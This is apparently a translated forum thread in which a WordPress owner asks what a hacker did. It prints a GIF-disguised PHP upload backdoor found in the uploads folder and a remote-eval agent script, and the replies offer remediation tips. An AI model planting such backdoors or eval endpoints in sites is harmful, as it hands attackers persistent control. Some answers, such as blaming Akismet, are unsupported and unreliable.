Meine WordPress wurde gehackt, aber was hat der Hacker getan und wie kann ich dies verhindern / den entstandenen Schaden beheben

Lesezeit: 10 Minuten

Benutzer-Avatar
BF4

Ich sah Highload auf meinem Server und sah mir den Apache-Serverstatus an und sah einen Beitrag zu /2c1067813c6d8d0f28e13f0ce2c024fcbc17267b.php, der 12% meiner CPU verschlang. Ich habe Apache heruntergefahren, die Datei verschoben, den Typ in meinem htaccess blockiert, und jetzt frage ich mich, welcher Schaden angerichtet wurde. sieht so aus, als ob die Datei vor 4 Tagen hinzugefügt wurde

<?php
define('PAS_RES', 'twentycharacterhash');
define('PAS_REQ', 'anothertwentycharacterhash');
define('RSA_LEN', '256');
define('RSA_PUB', '65537');
define('RSA_MOD', '104794000726189251970535248702278838322004964525979459116994208185097637663513');

define('DEFLATE_RESPONSE_DATA', True);

header('Content-type: application/json');
error_reporting(0);
$version=2;$requestId='0';$jsonRPCVer="2.0";

if(!function_exists('property_exists'))
{ 
    function property_exists($class, $property)
    { 
        if(is_object($class))$vars=get_object_vars($class); 
        else $vars=get_class_vars($class); 
        return array_key_exists($property, $vars); 
    } 
} 
function senzorErrorHandler($errno, $errstr, $errfile, $errline)
{
    switch ($errno)
    {
        case E_NOTICE:
        case E_USER_NOTICE:
        case E_WARNING:
        case E_USER_WARNING:
            return True;        
        case E_ERROR:
            $code = 0;
            break;
        case E_USER_ERROR:
            $code = 1;
            break;
        default:
            $code = 2;
    }       
    if(function_exists('json_encode'))
    {
        $message = "{$errstr} ({$errfile} Line: {$errline})";
        $response = json_encode(array('jsonrpc' => $GLOBALS['jsonRPCVer'],'id'=>$GLOBALS['requestId'],'error'=>array('code'=>$code,'message'=> $message)));
    }
    else
    {
        $message = "{$errstr}";
        $response = "{\"jsonrpc\":{$GLOBALS['jsonRPCVer']},\"id\":{$GLOBALS['requestId']},\"error\":{\"code\":{$code},\"message\":\"{$message}\"}}";
    }
    die($response);
}

set_error_handler("senzorErrorHandler");
if(!function_exists('json_encode'))
{   
    if (!file_exists("compat/json.php"))    
        trigger_error("#COMPAT-JSON#", E_USER_ERROR);    
    require_once("compat/json.php");
    function json_encode($data)
    {
        $json = new Services_JSON();
        return($json->encode($data));
    }
}
if(!function_exists('json_decode'))
{
    if(!file_exists("compat/json.php")) 
        trigger_error("#COMPAT-JSON#", E_USER_ERROR);   
    function json_decode($data)
    {
        $json = new Services_JSON();
        return($json->decode($data));
    }
}

if(function_exists('bcmod'))
    define('BCMOD', true);
else
    {
        if(!file_exists("compat/array_fill.php")||!file_exists("compat/bcpowmod.php")||!file_exists("compat/biginteger.php")) 
            trigger_error("#COMPAT-BI#", E_USER_ERROR);
        require_once("compat/array_fill.php");
        require_once("compat/bcpowmod.php");
        require_once("compat/biginteger.php");
    }

function rsa_encrypt($message, $public_key, $modulus, $keylength, $notSigning = true)
{
    $result="";
    $chunkLength = intval($keylength / 8) - 11;
    for($i = 0; $i < strlen($message); $i=$i+$chunkLength)
    {
        $padded = add_PKCS1_padding(substr($message, $i, $chunkLength), $notSigning, intval($keylength/8));
        $number = binary_to_number($padded);
        $encrypted = pow_mod($number, $public_key, $modulus);
        $binary = number_to_binary($encrypted, intval($keylength/8));
        $result .= $binary;
    }
    return $result;
}
function rsa_decrypt($message, $private_key, $modulus, $keylength)
{
    $result="";
    $chunkLength = intval($keylength/8);
    for($i = 0; $i < strlen($message); $i=$i+$chunkLength)
    {
        $number = binary_to_number(substr($message, $i, $chunkLength));
        $decrypted = pow_mod($number, $private_key, $modulus);
        $presult = number_to_binary($decrypted, $chunkLength);
        $pres = remove_PKCS1_padding($presult, $chunkLength);
        if ($pres === FALSE)
            return FALSE;
        $result .= $pres;
    }
    return $result;
}
function rsa_sign($message, $private_key, $modulus, $keylength)
{
    return rsa_encrypt($message, $private_key, $modulus, $keylength, false);
}
function rsa_verify($message, $signature, $public_key, $modulus, $keylength)
{
    $result = false;
    $result = ($message==rsa_decrypt($signature, $public_key, $modulus, $keylength));
    return $result;
}
function pow_mod($p, $q, $r)
{
    if(defined('BCMOD'))
    {
        $factors = array();
        $div = $q;
        $power_of_two = 0;
        while(bccomp($div, "0") == 1) //BCCOMP_LARGER
        {
            $rem = bcmod($div, 2);
            $div = bcdiv($div, 2);

            if($rem) array_push($factors, $power_of_two);
            $power_of_two++;
        }
        $partial_results = array();
        $part_res = $p;
        $idx = 0;
        foreach($factors as $factor)
        {
            while($idx < $factor)
            {
                $part_res = bcpow($part_res, "2");
                $part_res = bcmod($part_res, $r);
                $idx++;
            }
            array_push($partial_results, $part_res);
        }
        $result = "1";
        foreach($partial_results as $part_res)
        {
            $result = bcmul($result, $part_res);
            $result = bcmod($result, $r);
        }
        return $result;
    }
    //Math_BigInteger implementation 
    $p = new Math_BigInteger($p);
    $q = new Math_BigInteger($q);
    $r = new Math_BigInteger($r);
    $x = $p->modPow($q, $r);
    return $x->toString();
}

function add_PKCS1_padding($data, $isPublicKey, $blocksize)
{   
    $pad_length = $blocksize - 3 - strlen($data);
    if($isPublicKey)
    {
        $block_type = "\x02";   
        $padding = "";      
        for($i = 0; $i < $pad_length; $i++)
            $padding .= chr(mt_rand(1, 255));
    }
    else
    {
        $block_type = "\x01";
        $padding = str_repeat("\xFF", $pad_length);
    }   
    return "\x00" . $block_type . $padding . "\x00" . $data;
}
function remove_PKCS1_padding($data, $blocksize)
{
    #bad data length
    if(strlen($data) != $blocksize) return FALSE;
    if(($data[0]!="\0") || ( ($data[1] != "\x01") && ($data[1] != "\x02") )) return FALSE;
    #bad padding type
    $offset = strpos($data, "\0", 1);
    return substr($data, $offset + 1);
}
function binary_to_number($data)
{   
    if(defined('BCMOD'))
    {
        $base = "256";
        $radix = "1";
        $result = "0";
        for($i = strlen($data) - 1; $i >= 0; $i--)
        {
            $digit = ord($data{$i});
            $part_res = bcmul($digit, $radix);
            $result = bcadd($result, $part_res);
            $radix = bcmul($radix, $base);
        }
        return $result;
    }   
    //Math_BigInteger implementation
    $result = new Math_BigInteger();
    $p = new Math_BigInteger("0x100", 16);
    $m = new Math_BigInteger("0x01", 16);
    for($i=strlen($data)-1; $i>=0; $i--)
    {       
        if(defined('MATH_BIGINTEGER_MODE') && defined('MATH_BIGINTEGER_MODE_INTERNAL') && (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_INTERNAL))
        {
            $d = new Math_BigInteger();
            $d->value = array(ord($data[$i]));
        }
        else $d = new Math_BigInteger(ord($data[$i]));

        $d = $d->multiply($m);
        $m = $m->multiply($p);
        $result = $result->add($d);
    }
    return $result->toString();
}

function hex_to_binary($hex, $blocksize)
{
    $result="";
    for($i = 0; $i < (strlen($hex) - 1); $i = $i + 2)
        $result = $result . pack('H2', substr($hex, $i, 2));    
    $result = pack('H'.sprintf('%d',strlen($hex)), $hex);
    return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
}

function number_to_binary($number, $blocksize)
{
    if(defined('BCMOD'))
    {
        $base = "256";
        $num = $number;
        $result = "";
        while($num > 0)
        {
            $mod = bcmod($num, $base);
            $num = bcdiv($num, $base);      
            $result = chr($mod) . $result;
        }
        return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
    }   
    //Math_BigInteger implementation
    $result = "";
    $num = new Math_BigInteger($number);
    $zero = new Math_BigInteger();
    $divider = new Math_BigInteger("0x100",16); 
    while($num->compare($zero) > 0)
    {
        list($num, $remainder) = $num->divide($divider);
        $add = $remainder->toBytes();
        if($add == '') $add = "\0";
        $result = $add . $result;
    }   
    return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
}
function rsa_sign_b64($message, $private_key, $modulus, $keylength)
{
    return base64_encode(rsa_sign($message, $private_key, $modulus, $keylength));
}
function rsa_verify_b64($message, $signature, $public_key, $modulus, $keylength)
{
    return rsa_verify($message, base64_decode($signature), $public_key, $modulus, $keylength);
}
function rsa_encrypt_b64($message, $public_key, $modulus, $keylength)
{
    return base64_encode(rsa_encrypt($message, $public_key, $modulus, $keylength));
}
function rsa_decrypt_b64($message, $private_key, $modulus, $keylength)
{
    return rsa_decrypt(base64_decode($message), $private_key, $modulus, $keylength);
}

function get_rnd_iv($iv_len)
{
    $iv = '';
    while ($iv_len-- > 0) $iv .= chr(mt_rand(1, 255));
    return $iv;
}
function md5_encrypt($plain_text, $password, $iv_len = 16)
{
    $plain_text .= "\x13";
    $n = strlen($plain_text);
    if ($n % 16) $plain_text .= str_repeat("\0", 16 - ($n % 16));
    $i = 0;
    $enc_text = get_rnd_iv($iv_len);
    $iv = substr($password ^ $enc_text, 0, 512);
    while ($i < $n) 
    {
        $block = substr($plain_text, $i, 16) ^ pack('H*', md5($iv));
        $enc_text .= $block;
        $iv = substr($block . $iv, 0, 512) ^ $password;
        $i += 16;
    }
    return base64_encode($enc_text);
}

function md5_decrypt($enc_text, $password, $iv_len = 16)
{
    $enc_text = base64_decode($enc_text);
    $n = strlen($enc_text);
    $i = $iv_len;
    $plain_text="";
    $iv = substr($password ^ substr($enc_text, 0, $iv_len), 0, 512);
    while ($i < $n) 
    {
        $block = substr($enc_text, $i, 16);
        $plain_text .= $block ^ pack('H*', md5($iv));
        $iv = substr($block . $iv, 0, 512) ^ $password;
        $i += 16;
    }
    return preg_replace('/\\x13\\x00*$/', '', $plain_text);
}

function handleRequest($request="")
{   
    if((!is_string($request))||($request==''))trigger_error("#REQUEST-EMPTY#", E_USER_ERROR);       
    $request = json_decode($request);   
    if(!is_object($request))trigger_error("#REQUEST-JSON#", E_USER_ERROR);   
    if( (!property_exists($request, 'jsonrpc')) || 
        (!property_exists($request, 'id')) || 
        (!property_exists($request, 'method')) || 
        (!property_exists($request, 'params')))trigger_error("#REQUEST-JSRPC#", E_USER_ERROR);     
    $GLOBALS['requestId']=$request->id;
    if(floatval($request->jsonrpc) != 2.0) trigger_error("#REQUEST-VERSION#", E_USER_ERROR);    
    $GLOBALS['jsonRPCVer']=$request->jsonrpc;               
    if(!property_exists($request, 'sign'))trigger_error("#REQUEST-SIG#", E_USER_ERROR);         
    if(property_exists($request, 'enc'))$request->params = md5_decrypt($request->params, PAS_REQ);
    if(property_exists($request, 'def'))
    {
        if(!function_exists('gzuncompress')) trigger_error("#COMPAT-ZLIB#", E_USER_ERROR);      
        $request->params = gzuncompress($request->params);
    }   
    if(!rsa_verify_b64(sha1($request->params), $request->sign, RSA_PUB, RSA_MOD, RSA_LEN))trigger_error("#REQUEST-SIG#", E_USER_ERROR); 
    if($request->method != "execute")trigger_error("#REQUEST-METHOD#", E_USER_ERROR);   
    $result = NULL;
    $success = @eval('?>'.$request->params);
    if($success === FALSE) trigger_error("#REQUEST-PROCESSING#", E_USER_ERROR);                         
    $result = json_encode($result); 
    $response = array ('jsonrpc' => $GLOBALS['jsonRPCVer'], 'id' => $request->id);  
    if(function_exists('gzcompress') && DEFLATE_RESPONSE_DATA && (strlen($result) > 100))
    {
        $response['def'] = true;
        $result = gzcompress($result, 6);
    }           
    $result = md5_encrypt($result, PAS_RES);    
    $response['enc'] = true;
    $response['result'] = $result;
    return json_encode($response);        
}

if (($_SERVER['REQUEST_METHOD'] == 'POST')&&(!empty($_SERVER['CONTENT_TYPE']))&&(preg_match('/^application\/json/i', $_SERVER['CONTENT_TYPE'])))
    echo handleRequest(file_get_contents('php://input'));

Ich habe eine Datei im Serverstammverzeichnis erstellt

410.php

<?php header('HTTP/1.0 410 Gone'); ?>

Und in meiner .htaccess-Apache-Datei habe ich hinzugefügt

RewriteEngine On
RewriteBase /


RewriteCond %{REMOTE_ADDR} ^188.138.56.125 [OR]
RewriteCond %{REMOTE_ADDR} ^188.138.56.125 
RewriteRule ^.*$ 410.php [L]

Ich habe auch in meinem wp-content/uploads-Ordner eine somehash.php-Datei mit dem Inhalt bemerkt

GIF89a^A^@^A^@<80>^@^@<FF><FF><FF>^@^@^@!<F9>^D^A^@^@^@^@,^@^@^@^@^A^@^A^@^@^B^BD^A^@;^@<?php $f=preg_replace('/(.*wp-content).*/i','\1',di
rname(__FILE__)).DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR.$_FILES['F']['name'];move_uploaded_file($_FILES['F']['tmp_name'],$f);ech
o "14qhpo"; ?>^@;

und ein Verzeichnis darin mit 777-Berechtigungen, das meine WordPress-Dateien enthält, die ich auch gelöscht habe.

Ich werde meine WordPress mit frischen Daten und Plugins in einem sauberen Verzeichnis neu installieren, aber wie kann ich dies wieder verhindern oder besser überwachen? Und was hat der Hacker getan und wie kann ich das verhindern/den Schaden beheben?

Ich sehe, jemand anderes hat hier den gleichen Hack http://pastebin.com/k5HUythK

EDIT 23.11

Seltsamerweise denke ich, dass der erste Code, den ich eingefügt habe, ein Plugin sein könnte, das ich gerade installiert habe websitedefender.com weil es mir jetzt E-Mails sendet, dass der “Agent nicht antwortet”. http://wordpress.org/extend/plugins/wp-security-scan/, http://wordpress.org/extend/plugins/websitedefender-wordpress-security/

Ich hätte gedacht, dass sie diese Datei kommentieren würden, wenn sie echt wäre

  • Hier habe ich einige nützliche Konfigurationen gesehen: stackoverflow.com/q/6799496/879854

    – BF4

    23. November 2011 um 23:12 Uhr

  • Ist es eine gute Praxis, seine IP zu teilen? Ein anderer Computer könnte diese IP in ein paar Stunden bekommen oder es könnte ein Zombie-Computer sein, der von einem anderen Ort aus manipuliert wurde, und diese IP wird in ein paar Tagen/Monaten wieder sauber.

    – FelipeAls

    23. November 2011 um 23:41 Uhr

  • @Felipe Ich weiß es nicht, aber es ist die IP, die mich jetzt trifft

    – BF4

    23. November 2011 um 23:43 Uhr

  • Ich bin gerade zufällig auf diese Frage gekommen und habe gesehen, dass immer noch falsche Antworten akzeptiert werden … nur um zu informieren, dass dies keine “timthumb.php-Schwachstelle” ist.

    – Erdinç Çorbacı

    24. November 2012 um 0:27 Uhr

Benutzer-Avatar
Erdinç Çorbacı

Sie müssen sich keine Sorgen machen (zumindest in Bezug auf dieses Problem), da diese Datei und dieser Code eine standardmäßige Sitecheck-Datei von websitedefender.com sind. Ich schätze, Sie haben das auf Ihre Website hochgeladen und vergessen?

  • Ja, es scheint, dass das Plugin diese Datei einfach dort ablegt und Bandbreite / CPU / Speicher verwendet, ohne Ihnen mitzuteilen, dass es Ihre Website im Grunde auf seine Server hochladen wird (oder ihre js kommentiert, dass dies legitim ist). Bestätigt durch ihre Tweeps twitter.com/#!/WebsiteDefender/status/139633151956889601

    – BF4

    28. November 2011 um 0:13 Uhr

Es ist wahrscheinlich die Schwachstelle in timthumb.php. Wenn sich die Datei timthumb.php irgendwo auf dem System befindet, stellen Sie sicher, dass sie gelöscht wird. Möglicherweise wurden Sie von mehreren Personen gehackt, daher ist es am besten, die Datenbank zu sichern und mit den aktuellsten Versionen von Grund auf neu zu installieren.

Um Schwachstellen in Ihrer Anwendung zu erkennen, empfehle ich, Ihre Website mit einem Dienst zum Scannen von Schwachstellen wie z Sitewatch oder ein Programm wie Skipfish.

  • Es sieht so aus, als wäre Skipfish eine OSS-Alternative zu Websitedefender, die ich lokal ausführen kann.

    – BF4

    28. November 2011 um 0:15 Uhr

  • @BF4 ja, aber es ist schwierig zu bedienen und kann Ihr System zum Absturz bringen. Sitewatch ist einfach zu bedienen, funktioniert hinter den Kulissen und bietet einen kostenlosen Service.

    – Turm

    28. November 2011 um 16:23 Uhr

mir ist sowas ähnliches passiert. Die Schwachstelle scheinen definitiv Plugins zu sein, insbesondere Akismet, aber auch einige der SEO-Plugins. diese können Injektionsangriffe oder Schlimmeres ermöglichen.

Am besten löschen Sie Ihren Server und bauen ihn aus Ihren letzten bekannten guten Backups neu auf. Nichts anderes wird wirklich vertrauenswürdig sein.

1354200cookie-checkMeine WordPress wurde gehackt, aber was hat der Hacker getan und wie kann ich dies verhindern / den entstandenen Schaden beheben

This website is using cookies to improve the user-friendliness. You agree by using the website further.

Privacy policy